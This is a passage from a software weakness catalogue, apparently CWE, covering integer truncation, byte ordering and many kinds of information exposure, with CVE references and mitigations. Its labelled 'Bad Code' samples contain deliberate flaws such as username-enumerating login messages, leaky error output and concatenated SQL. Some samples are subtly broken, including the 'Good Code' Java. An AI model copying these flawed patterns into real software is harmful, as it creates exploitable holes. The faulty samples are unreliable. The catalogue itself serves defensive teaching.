However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type short. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type short before the explicit cast and the call to the sales method.

Java Example:

Good Code

```

...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
// get the total number of products in inventory database
int productCount = inventory.getProductCount(productID);
// make sure that integer numbers are not greater than
// maximum value for type short before converting
if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {
// convert integer values to short, the method for the
// sales object requires the parameters to be of type short
short count = (short) productCount;
short sold = (short) amountSold;
// update sales database for product
sales.updateSalesCount(productID, count, sold);
else {
// throw exception or perform other processing
...
}
}
...

```

Observed Examples

Reference	Description
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow.

Potential Mitigations**Implementation**

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.

CWE-198: Use of Incorrect Byte Ordering

Weakness ID: 198 (*Weakness Base*)

Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Detection Methods

Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

CWE-200: Information Exposure

Weakness ID: 200 (Weakness Class) Status: Incomplete

Description

Summary

An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information.

Extended Description

The information either is regarded as sensitive within the product's own functionality, such as a private message; or provides information about the product or its environment that could be useful in an attack but is normally not available to the attacker, such as the installation path of a product that is remotely accessible.

Many information exposures are resultant (e.g. PHP script error revealing the full path of the program), but they can also be primary (e.g. timing discrepancies in cryptography). There are many different types of problems that involve information exposures. Their severity can range widely depending on the type of information that is revealed.

Alternate Terms

Information Leak

This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with exposure of information, but in other cases (such as "memory leak") this deals with improper tracking of resources which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

Information Disclosure

This term is frequently used in vulnerability databases and other sources, however "disclosure" does not always have security implications. The phrase "information disclosure" is also used frequently in policies and legal documents, but do not refer to disclosure of security-relevant information.

Common Consequences

Confidentiality

Read application data

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Inter-application Flow Analysis

Dynamic Analysis with automated results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Automated Monitored Execution

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Source code Weakness Analyzer

Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Potential Mitigations

Architecture and Design**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-201: Information Exposure Through Sent Data

Weakness ID: 201 (*Weakness Variant*)

Status: Draft

Description

Summary

The accidental exposure of sensitive information through sent data refers to the transmission of data which are either sensitive in and of itself or useful in the further exploitation of the system through standard data channels.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Read files or directories

Read memory

Read application data

Sensitive data may be exposed to attackers.

Demonstrative Examples

The following is an actual MySQL error statement:

SQL Example:

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4
```

Result

The error clearly exposes the database credentials.

Potential Mitigations

Requirements

Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.

Implementation

Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.

System Configuration

Setup default error messages so that unexpected errors do not disclose sensitive information.

Architecture and Design**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

CWE-202: Exposure of Sensitive Data Through Data Queries

Weakness ID: 202 (Weakness Variant)

Status: Draft

Description**Summary**

When trying to keep information confidential, an attacker can often infer some of the information by using statistics.

Extended Description

In situations where data should not be tied to individual users, but a large number of users should be able to make queries that "scrub" the identity of users, it may be possible to get information about a user -- e.g., by specifying search terms that are known to be unique to that user.

Time of Introduction

- Architecture and Design

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Read files or directories

Read application data

Sensitive information may possibly be leaked through data queries accidentally.

Likelihood of Exploit

Medium

Demonstrative Examples

See the book *Translucent Databases* for examples.

Potential Mitigations

Architecture and Design

This is a complex topic. See the book *Translucent Databases* for a good discussion of best practices.

Relationships

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Accidental leaking of sensitive information through data queries

CWE-203: Information Exposure Through Discrepancy

Weakness ID: 203 (*Weakness Class*)

Status: Incomplete

Description

Summary

The product behaves differently or sends different responses in a way that exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Access Control

Read application data

Bypass protection mechanism

An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.

Demonstrative Examples

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Perl Example:

Bad Code

```
my $username=param('username');
```

```

my $password=param('password');
if (IsValidUsername($username) == 1)
{
  if (IsValidPassword($username, $password) == 1)
  {
    print "Login Successful";
  }
  else
  {
    print "Login Failed - incorrect password";
  }
}
else
{
  print "Login Failed - unknown username";
}

```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Result

```
"Login Failed - incorrect username or password"
```

Observed Examples

Reference	Description
CVE-2000-1117	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the <code>getSystemResource</code> method.
CVE-2001-1387	Product may generate different responses than specified by the administrator, possibly leading to an information leak.
CVE-2001-1483	Enumeration of valid usernames based on inconsistent responses
CVE-2001-1528	Account number enumeration via inconsistent responses.
CVE-2002-0514	Product allows remote attackers to determine if a port is being filtered because the response packet TTL is different than the default TTL.
CVE-2002-0515	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.
CVE-2002-2094	This, and others, use <code>..</code> attacks and monitor error responses, so there is overlap with directory traversal.
CVE-2003-0078	SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."
CVE-2003-0190	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
CVE-2003-0637	Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.
CVE-2004-0243	Operating System, when direct remote login is disabled, displays a different message if the password is correct, which allows remote attackers to guess the password via brute force methods.
CVE-2004-0294	Bulletin Board displays different error messages when a user exists or not, which makes it easier for remote attackers to identify valid users and conduct a brute force password guessing attack.
CVE-2004-0778	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the <code>-X</code> command for an alternate history file, which causes different error messages to be returned.

Reference	Description
CVE-2004-1428	FTP server generates an error message if the user name does not exist instead of prompting for a password, which allows remote attackers to determine valid usernames.
CVE-2004-1602	FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.
CVE-2004-2150	User enumeration via discrepancies in error messages.
CVE-2005-0918	Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.
CVE-2005-1650	User enumeration via discrepancies in error messages.

Potential Mitigations

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality.

Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

CWE-204: Response Discrepancy Information Exposure

Weakness ID: 204 (Weakness Base)

Status: Incomplete

Description

Summary

The software provides different responses to incoming requests in a way that allows an actor to determine system state information that is outside of that actor's control sphere.

Extended Description

This issue frequently occurs during authentication, where a difference in failed-login messages could allow an attacker to determine if the username is valid or not. These exposures can be inadvertent (bug) or intentional (design).

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Access Control

Read application data

Bypass protection mechanism

Demonstrative Examples

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

Perl Example:

Bad Code

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
  if (IsValidPassword($username, $password) == 1)
  {
    print "Login Successful";
  }
  else
  {
    print "Login Failed - incorrect password";
  }
}
else
{
  print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

Result

"Login Failed - incorrect username or password"

CWE-205: Information Exposure Through Behavioral Discrepancy

Weakness ID: 205 (Weakness Base)

Status: Incomplete

Description

Summary

The product's actions indicate important differences based on (1) the internal state of the product or (2) differences from other products in the same class.

Extended Description

For example, attacks such as OS fingerprinting rely heavily on both behavioral and response discrepancies.

CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency

Weakness ID: 206 (Weakness Variant)

Status: Incomplete

Description

Summary

Two separate operations in a product cause the product to behave differently in a way that is observable to an attacker and reveals security-relevant information about the internal state of the product, such as whether a particular operation was successful or not.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality
Access Control
Read application data
Bypass protection mechanism

Observed Examples

Reference	Description
CVE-2001-1497	Behavioral infoleak in GUI allows attackers to distinguish between alphanumeric and non-alphanumeric characters in a password, thus reducing the search space.
CVE-2002-2031	File existence via infoleak monitoring whether "onerror" handler fires or not.
CVE-2003-0190	Product immediately sends an error message when user does not exist instead of waiting until the password is provided, allowing username enumeration.
CVE-2005-2025	Valid groupname enumeration via behavioral infoleak (sends response if valid, doesn't respond if not).

Potential Mitigations

Setup generic response pages for error condition. The error page should not disclose information about the success or failure of a sensitive operation. For instance, the login page should not confirm that the login is correct and the password incorrect. The attacker who tries random account name may be able to guess some of them. Confirming that the account exists would make the login page more susceptible to brute force attack.

CWE-209: Information Exposure Through an Error Message

Weakness ID: 209 (*Weakness Base*)

Status: Draft

Description

Summary

The software generates an error message that includes sensitive information about its environment, users, or associated data.

Extended Description

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more deadly attacks. If an attack fails, an attacker may use error information provided by the server to launch another more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of "." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

Time of Introduction

- Architecture and Design
- Implementation
- System Configuration
- Operation

Applicable Platforms

Languages

- PHP (*Often*)
- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Read application data

Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.

Likelihood of Exploit

High

Detection Methods

Manual Analysis

High

This weakness generally requires domain-specific interpretation using manual analysis. However, the number of potential error conditions may be too large to cover completely within limited time constraints.

Automated Analysis

Moderate

Automated methods may be able to detect certain idioms automatically, such as exposed stack traces or pathnames, but violation of business rules or privacy requirements is not typically feasible.

Automated Dynamic Analysis

Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Error conditions may be triggered with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:

In the following example, sensitive information might be printed depending on the exception that occurs.

Java Example:

Bad Code

```
try {
    .../
}
catch (Exception e) {
    System.out.println(e);
}
```

If an exception related to SQL is handled by the catch, then the output might contain sensitive information such as SQL query structure or private information. If this output is redirected to a web user, this may represent a security problem.

Example 2:

This code tries to open a database connection, and prints any exceptions that occur.

PHP Example:

Bad Code

```
try {
    openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), "\n";
    echo 'Check credentials in config file at: ', $Mysql_config_location, "\n";
}
```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a

Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

Example 3:

The following code generates an error message that leaks the full pathname of the configuration file.

Perl Example:

Bad Code

```
$ConfigDir = "/home/myprog/config";
$username = Get userInput("username");
# avoid CWE-22, CWE-78, others.
ExitError("Bad hacker!") if ($username !~ /\w+$/);
$file = "$ConfigDir/$username.txt";
if (! (-e $file)) {
    ExitError("Error: $file does not exist");
}
...

```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that does not produce a \$file that exists, an attacker could get this pathname. It could then be used to exploit path traversal or symbolic link following problems that may exist elsewhere in the application.

Example 4:

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

Java Example:

Bad Code

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
                + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}

```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

Observed Examples

Reference	Description
CVE-2005-0603	Malformed regexp syntax leads to information exposure in error message.
CVE-2007-1409	Direct request to library file in web application triggers pathname leak in error message.
CVE-2007-5172	Program reveals password in error message if attacker can trigger certain database errors.
CVE-2008-1579	Existence of user names can be determined by requesting a nonexistent blog and reading the error message.

Reference	Description
CVE-2008-2049	POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.
CVE-2008-3060	Malformed input to login page causes leak of full path when IMAP call fails.
CVE-2008-4638	Composite: application running with high privileges allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file.

Potential Mitigations

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user.

Implementation

Identify and Reduce Attack Surface

Defense in Depth

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

This makes it easier to spot places in the code where data is being used that is unencrypted.

Implementation

Build and Compilation

Compilation or Build Hardening

Environment Hardening

Debugging information should not make its way into a production release.

System Configuration

Where available, configure the environment to use less verbose error messages. For example, in PHP, disable the `display_errors` setting during configuration, or at runtime using the `error_reporting()` function.

System Configuration

Create default error pages or messages that do not leak any information.

CWE-210: Information Exposure Through Self-generated Error Message

Weakness ID: 210 (*Weakness Base*)

Status: Draft

Description

Summary

The software identifies an error condition and creates its own diagnostic or error messages that contain sensitive information.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

The following code uses custom configuration files for each user in the application. It checks to see if the file exists on the system before attempting to open and use the file. If the configuration file does not exist, then an error is generated, and the application exits.

Perl Example:

Bad Code

```
$uname = Get userInput("username");
# avoid CWE-22, CWE-78, others.
if ($uname !~ /^w+$/)
{
  ExitError("Bad hacker!");
}
$filename = "/home/myprog/config/" . $uname . ".txt";
if (!( -e $filename))
{
  ExitError("Error: $filename does not exist");
}
```

If this code is running on a server, such as a web application, then the person making the request should not know what the full pathname of the configuration directory is. By submitting a username that is not associated with a configuration file, an attacker could get this pathname from the error message. It could then be used to exploit path traversal, symbolic link following, or other problems that may exist elsewhere in the application.

Observed Examples

Reference	Description
CVE-2005-1745	Infoleak of sensitive information in error message (physical access required).

Potential Mitigations

Implementation

Build and Compilation

Compilation or Build Hardening

Environment Hardening

Debugging information should not make its way into a production release.

CWE-211: Information Exposure Through Externally-Generated Error Message

Weakness ID: 211 (*Weakness Base*)

Status: Incomplete

Description

Summary

The software performs an operation that triggers an external diagnostic or error message that is not directly generated by the software, such as an error generated by the programming language interpreter that the software uses. The error can contain sensitive system information.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- PHP (*Often*)
- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic. PHP applications are often targeted for having this issue when the PHP interpreter generates the error outside of the application's control. However, other languages/environments exhibit the same issue.

Common Consequences

Confidentiality

Read application data

Observed Examples

Reference	Description
CVE-2004-1101	Improper handling of filename request with trailing "/" causes multiple consequences, including information leak in Visual Basic error message.
CVE-2004-1579	Single "" inserted into SQL query leads to invalid SQL query execution, triggering full path disclosure. Possibly resultant from more general SQL injection issue.

Reference	Description
CVE-2004-1581	chain: product does not protect against direct request of an include file, leading to resultant path disclosure when the include file does not successfully execute.
CVE-2005-0433	Various invalid requests lead to information leak in verbose error messages describing the failure to instantiate a class, open a configuration file, or execute an undefined function.
CVE-2005-0443	invalid parameter triggers a failure to find an include file, leading to infoleak in error message.
CVE-2005-0459	chain: product does not protect against direct request of a library file, leading to resultant path disclosure when the file does not successfully execute.

Potential Mitigations

System Configuration

Configure the application's environment in a way that prevents errors from being generated. For example, in PHP, disable `display_errors`.

Implementation

Build and Compilation

Compilation or Build Hardening

Environment Hardening

Debugging information should not make its way into a production release.

Implementation

Handle exceptions internally and do not display errors containing potentially sensitive information to a user. Create default error pages if necessary.

Implementation

The best way to prevent this weakness during implementation is to avoid any bugs that could trigger the external error message. This typically happens when the program encounters fatal errors, such as a divide-by-zero. You will not always be able to control the use of error pages, and you might not be using a language that handles exceptions.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Relationships

Nature	Type	ID	Name		Page
ChildOf	⊖	209	Information Exposure Through an Error Message	✓	699 389
ChildOf	⊖	963	SFP Secondary Cluster: Exposed Data		1000 1365
ChildOf	⊖	1016	Limit Exposure		888 1412

Relationship Notes

This is inherently a resultant vulnerability from a weakness within the product or an interaction error.

Functional Areas

- Error Handling

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Product-External Error Message Infoleak

CWE-212: Improper Cross-boundary Removal of Sensitive Data

Weakness ID: 212 (Weakness Base)

Status: Incomplete

Description

Summary

The software uses a resource that contains sensitive data, but it does not properly remove that data before it stores, transfers, or shares the resource with actors in another control sphere.

Extended Description

Resources that may contain sensitive data include documents, packets, messages, databases, etc. While this data may be useful to an individual user or small set of users who share the resource, it may need to be removed before the resource can be shared outside of the trusted group. The process of removal is sometimes called cleansing or scrubbing. For example, software that is used for editing documents might not remove sensitive data such as reviewer comments or the local pathname where the document is stored. Or, a proxy might not remove an internal IP address from headers before making an outgoing request to an Internet site.

Terminology Notes

The terms "cleansing" and "scrubbing" have multiple uses within computing. In information security, these are used for the removal of sensitive data, but they are also used for the modification of incoming/outgoing data so that it conforms to specifications.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Read files or directories

Read application data

Sensitive data may be exposed to an unauthorized actor in another control sphere. This may have a wide range of secondary consequences which will depend on what data is exposed. One possibility is the exposure of system data allowing an attacker to craft a specific, more effective attack.

Demonstrative Examples

This code either generates a public HTML user information page or a JSON response containing the same user information.

PHP Example:

Bad Code

```
// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
    $record = getUserRecord($username);
    foreach($record as $fieldName => $fieldValue)
    {
        if($fieldName == "email_address") {
            // skip displaying user emails
            continue;
        }
        else{
            writeToHtmlPage($fieldName,$fieldValue);
        }
    }
}
else
{
    $record = getUserRecord($username);
    echo json_encode($record);
}
```

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

Observed Examples

Reference	Description
CVE-2002-0704	NAT feature in firewall leaks internal IP addresses in ICMP error messages.
CVE-2005-0406	Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).

Potential Mitigations

Requirements

Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.

Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

Identify and Reduce Attack Surface

Defense in Depth

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

This makes it easier to spot places in the code where data is being used that is unencrypted.

Implementation

Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		200	Information Exposure	699 1000	376
ChildOf		669	Incorrect Resource Transfer Between Spheres	1000	1019
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	800	1230
ChildOf		867	2011 Top 25 - Weaknesses On the Cusp	900	1297

ChildOf		1015	Limit Access	1008	1412
<i>CanAlsoBe</i>		<i>226</i>	<i>Sensitive Information Uncleared Before Release</i>	<i>1000</i>	<i>409</i>
<i>MemberOf</i>		<i>884</i>	<i>CWE Cross-section</i>	<i>884</i>	<i>1306</i>

Relationship Notes

This entry is intended to be different from resultant information leaks, including those that occur from improper buffer initialization and reuse, improper encryption, interaction errors, and multiple interpretation errors. This entry could be regarded as a privacy leak, depending on the type of information that is leaked.

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally

shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Cross-Boundary Cleansing Infoleak

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.10)
168	Windows ::DATA Alternate Data Stream	

CWE-213: Intentional Information Exposure

Weakness ID: 213 (Weakness Base)

Status: Draft

Description

Summary

A product's design or configuration explicitly requires the publication of information that could be regarded as sensitive by an administrator.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

This code displays some information on a web page.

JSP Example:

Bad Code

```
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

Observed Examples

Reference	Description
CVE-2002-1725	Script calls phpinfo()
CVE-2003-1038	Product lists DLLs and full pathnames.
CVE-2003-1181	Script calls phpinfo()
CVE-2004-0033	Script calls phpinfo()
CVE-2004-1422	Script calls phpinfo()
CVE-2004-1590	Script calls phpinfo()
CVE-2005-0488	Telnet protocol allows servers to obtain sensitive environment information from clients.
CVE-2005-1205	Telnet protocol allows servers to obtain sensitive environment information from clients.

Other Notes

It's not always clear whether an information exposure is intentional or not. For example, CVE-2005-3261 identifies a PHP script that lists file versions, but it could be that the developer did not intend for this information to be public, but introduced a direct request issue instead.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		200	Information Exposure		699 1000
ChildOf		963	SFP Secondary Cluster: Exposed Data		888 1365

Relationship Notes

This overlaps other categories because some functionality might be intended by the developer, but is considered a weakness by the user or system administrator. In most cases, it is distinct from CWE-209: Information Exposure Through an Error Message because CWE-209 is often unintended.

Theoretical Notes

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Intended information leak

CWE-214: Information Exposure Through Process Environment

Weakness ID: 214 (*Weakness Variant*) **Status:** Incomplete

Description

Summary

A process is invoked with sensitive arguments, environment variables, or other elements that can be seen by other processes on the operating system.

Extended Description

Many operating systems allow a user to list information about processes that are owned by other users. This information could include command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the software or related resources.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Read application data

Demonstrative Examples

In the example below, the password for a keystore file is read from a system property.

Java Example:

Bad Code

```
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
    System.err.println("ERROR: Keystore password not specified.");
    System.exit(-1);
}
...
```

If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.

Observed Examples

Reference	Description
CVE-1999-1270	PGP passphrase provided as command line argument.
